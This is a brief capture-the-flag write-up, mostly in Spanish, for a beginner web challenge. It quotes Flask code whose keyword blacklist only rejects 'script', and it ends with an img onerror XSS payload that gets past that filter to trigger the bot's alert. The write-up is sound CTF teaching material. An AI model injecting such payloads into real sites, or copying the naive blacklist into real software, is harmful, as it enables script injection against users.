SpookTastic
Challenge Description
On a moonless night, you delve into the dark web to uncover the hacker group “The Cryptic Shadows.” You find an encrypted message guiding you to a web challenge. They claim a cursed amulet, the ‘Amulet of Samhain,’ can unveil their treasures location
Categoria: Web
Dificultad: Muy Fácil
Solution
Nos dan el codigo de la aplicacion. Lo que identificamos es que hay una endpoint para registrar un email.
@app.route("/api/register", methods=["POST"])
def register():
if not request.is_json or not request.json["email"]:
return abort(400)
if not blacklist_pass(request.json["email"]):
return abort(401)
registered_emails.append(request.json["email"])
Thread(target=start_bot, args=(request.remote_addr,)).start()
return {"success":True}
Este endpoint recibe un parametro email en formato json y la funcion blacklist_pass verifica que no se encuentre la palabra script.
def blacklist_pass(email):
email = email.lower()
if "script" in email:
return False
return True
Si todo esta correcto manda a llamar la funcion start_bot. Esta funcion cuando detecte que se ejecuto un alert en el navegador mostrara la flag en la pagina principal.
try:
browser.get(f"{HOST}/bot?token={BOT_TOKEN}")
WebDriverWait(browser, 3).until(EC.alert_is_present())
alert = browser.switch_to.alert
alert.accept()
send_flag(user_ip)
Por lo tanto enviamos el siguiente payload.
{"email":"<img src=x onerror=alert('XSS');>"}
Una vez que enviamos el payload esperamos un momento y obtendremos la flag.